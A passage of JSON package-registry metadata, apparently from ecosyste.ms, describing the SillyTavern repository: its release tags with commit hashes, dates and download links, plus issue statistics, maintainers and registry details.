3.0","sha":"0f11aab089a9426bea915cb2bd10d5d7e0f52e1f","kind":"commit","published_at":"2023-04-09T17:18:19.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0/manifests"},{"name":"1.2.3","sha":"41a41732d185c69926ca4cc048a5bd5a7ee99e32","kind":"commit","published_at":"2023-03-31T18:57:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"61267107952a7fd446d8746ca4e305deea8421a8","kind":"commit","published_at":"2023-03-30T16:49:33.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"1dc92ffff5597ed025c42b9333bcf5053c49cbb8","kind":"commit","published_at":"2023-03-30T08:58:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"f9a6cfc8065b112014bf7eea15fee79b52604ab8","kind":"commit","published_at":"2023-03-29T19:14:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0/manifests"},{"name":"1.1.1","sha":"100e572aaee00d379d77846d8efd2180b97e4865","kind":"commit","published_at":"2023-03-22T22:12:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"68452e6c08cb28aa194a4ca8d1d5e67d7a310fea","kind":"commit","published_at":"2023-03-20T16:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0/manifests"},{"name":"1.0.5","sha":"c617b7e7d5cc94874342874fd99a932a1329b5a8","kind":"commit","published_at":"2023-03-16T08:46:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5/manifests"},{"name":"1.0.4","sha":"c1699b4193dc7862ade0fa43bfbb86df9058c4f3","kind":"commit","published_at":"2023-03-14T14:24:24.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4/manifests"},{"name":"1.0.3","sha":"abe5aa7cc0d53862cda4f55da5065bed5ce3671c","kind":"commit","published_at":"2023-03-12T20:40:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"93d9af931a0852bf223ebbc63fde144f589a4189","kind":"commit","published_at":"2023-03-12T19:48:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"2f76bbb7d6f5fd9a3977c8c9a2258d57ddba94e9","kind":"commit","published_at":"2023-03-12T19:42:14.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"74647ab270b1c2068c5a04b5a887729b4b96139b","kind":"commit","published_at":"2023-03-12T14:01:29.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-24T15:48:09.909Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:golang/github.com/sillytavern/sillytavern","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/sillytavern/sillytavern","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/sillytavern/sillytavern","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/sillytavern/sillytavern/dependencies","status":"removed","funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-22T02:32:22.769Z","issues_count":1531,"pull_requests_count":1944,"avg_time_to_close_issue":9650678.166889185,"avg_time_to_close_pull_request":694801.3912655972,"issues_closed_count":749,"pull_requests_closed_count":1122,"pull_request_authors_count":467,"issue_authors_count":923,"avg_comments_per_issue":2.001959503592423,"avg_comments_per_pull_request":1.1378600823045266,"merged_pull_requests_count":768,"bot_issues_count":1,"bot_pull_requests_count":6,"past_year_issues_count":132,"past_year_pull_requests_count":210,"past_year_avg_time_to_close_issue":1789643.7142857143,"past_year_avg_time_to_close_pull_request":2226918.85483871,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":62,"past_year_pull_request_authors_count":146,"past_year_issue_authors_count":124,"past_year_avg_comments_per_issue":1.628787878787879,"past_year_avg_comments_per_pull_request":1.2476190476190476,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":28,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/issues","maintainers":[{"login":"Cohee1207","count":213,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cohee1207"},{"login":"Wolfsblvt","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"},{"login":"RossAscends","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RossAscends"},{"login":"deffcolony","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/deffcolony"},{"login":"jvstinian","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jvstinian"},{"login":"PikachuEXE","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PikachuEXE"}],"active_maintainers":[{"login":"Wolfsblvt","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fsillytavern%2Fsillytavern/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2541105,"maintainers_count":0,"namespaces_count":853839,"keywords_count":146276,"github":"golang","metadata":{"funded_packages_count":121068,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-25T05:05:29.074Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":15348237,"name":"github.com/SillyTavern/SillyTavern","ecosystem":"go","description":null,"homepage":null,"licenses":"agpl-3.0","normalized_licenses":[],"repository_url":"https://github.com/SillyTavern/SillyTavern","keywords_array":[],"namespace":null,"versions_count":2,"first_release_published_at":"2026-07-07T17:36:20.000Z","latest_release_published_at":"2026-07-07T17:36:20.000Z","latest_release_number":"v0.0.0-20260707173620-8172dcd0ee67","latest_published_release_number":null,"last_synced_at":"2026-10-24T15:48:10.187Z","created_at":"2026-09-22T22:47:54.944Z","updated_at":"2026-10-24T15:48:10.187Z","registry_url":"https://pkg.go.dev/github.com/SillyTavern/SillyTavern","install_command":"go get github.com/SillyTavern/SillyTavern","documentation_url":"https://pkg.go.dev/github.com/SillyTavern/SillyTavern#section-documentation","metadata":{},"repo_metadata":{"id":115963929,"uuid":"599524116","full_name":"SillyTavern/SillyTavern","owner":"SillyTavern","description":"LLM Frontend for Power Users.","archived":false,"fork":false,"pushed_at":"2026-10-02T22:05:54.000Z","size":215670,"stargazers_count":34571,"open_issues_count":664,"forks_count":6479,"subscribers_count":166,"default_branch":"release","last_synced_at":"2026-10-17T09:29:19.204Z","etag":null,"topics":["ai","chat","llm"],"latest_commit_sha":null,"homepage":"https://sillytavern.app","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"TavernAI/TavernAI","license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SillyTavern.png","metadata":{"files":{"readme":".github/readme-de_de.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2023-02-09T10:19:24.000Z","updated_at":"2026-10-17T09:21:36.000Z","dependencies_parsed_at":"2026-10-17T04:16:09.865Z","dependency_job_id":null,"html_url":"https://github.com/SillyTavern/SillyTavern","commit_stats":null,"previous_names":["sillytavern/sillytavern","cohee1207/sillytavern"],"tags_count":103,"template":false,"template_full_name":null,"purl":"pkg:github/SillyTavern/SillyTavern","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/refs/heads/release","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344956071,"owners_count":38456743,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-22T02:00:06.372Z","response_time":122,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"SillyTavern","name":"SillyTavern","uuid":"134869877","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/134869877?v=4","repositories_count":1,"last_synced_at":"2023-05-29T18:23:26.436Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/SillyTavern","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-29T18:23:26.448Z","updated_at":"2023-05-29T18:23:26.448Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern/repositories"},"tags":[{"name":"1.19.0","sha":"7e8663cd9c184a550b37238218bdd32c6efc68e9","kind":"commit","published_at":"2026-09-14T17:55:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.19.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0/manifests"},{"name":"1.18.0","sha":"51ad27fb86d39a3daca3adaa970375c9670c12df","kind":"commit","published_at":"2026-05-03T15:45:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.18.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0/manifests"},{"name":"1.17.0","sha":"e3f41666c69db032e17e079fcddcf40cf47e8593","kind":"commit","published_at":"2026-03-28T17:22:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.17.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"e3b866b5d2bcc7fbaa889bb926fbb567cd1ed25b","kind":"commit","published_at":"2026-02-14T15:46:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.16.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"1c0e7ea9556afcc3ae55c888287dff67a6aa42fc","kind":"commit","published_at":"2025-12-28T16:28:51.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.15.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0/manifests"},{"name":"1.14.0","sha":"9c9be90821ffd6132b40b5f04982522a61d7ad30","kind":"commit","published_at":"2025-11-22T15:27:11.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.14.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0/manifests"},{"name":"1.13.5","sha":"74c158bd2e98b8b4dc54d2bb0d088c5a5e918826","kind":"commit","published_at":"2025-10-16T17:31:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5/manifests"},{"name":"1.13.4","sha":"6dabf12ed785087cfe50b8027c582b16faa2ac4d","kind":"commit","published_at":"2025-09-13T17:48:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4/manifests"},{"name":"1.13.3","sha":"1a1f57e00ead3b7e4a30269caf4b1c756310206b","kind":"commit","published_at":"2025-08-25T15:12:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3/manifests"},{"name":"1.13.2","sha":"9a191c41e8b8fa7d203974c0b0debdfe1146a7a0","kind":"commit","published_at":"2025-07-26T19:16:05.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2/manifests"},{"name":"1.13.1","sha":"a2efd8792c1cd0791c63bf6fa39ab03dada5d4bd","kind":"commit","published_at":"2025-06-22T15:15:27.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1/manifests"},{"name":"1.13.0","sha":"90eb74545c5071ddc614d838d163c0a164f73382","kind":"commit","published_at":"2025-05-25T19:18:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0/manifests"},{"name":"1.12.14","sha":"689637b36c178478545b46a4bec0f25ae3b97471","kind":"commit","published_at":"2025-04-21T15:51:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.14","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14/manifests"},{"name":"1.12.13","sha":"d8c8bfa8a43f34ba02ff421fc8adcc8376daff61","kind":"commit","published_at":"2025-03-15T20:47:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.13","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13/manifests"},{"name":"1.12.12","sha":"75aec772719006bdefcdfa2f5a0fb0ac0d257158","kind":"commit","published_at":"2025-02-16T19:15:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.12","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"cc010643ad4f8fb5bbcfe7d36c6108ff5729c396","kind":"commit","published_at":"2025-01-18T22:13:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.11","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f246bc5ac6eeff65de0e482bc88f22e9b55a8eac","kind":"commit","published_at":"2025-01-01T15:21:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"bf4357774dc8ba1171899687181edea071b08221","kind":"commit","published_at":"2024-12-07T13:12:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"de3f340a557477773b35726c4ecbcc016fc9743b","kind":"commit","published_at":"2024-12-01T15:31:30.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.8","dependencies_parsed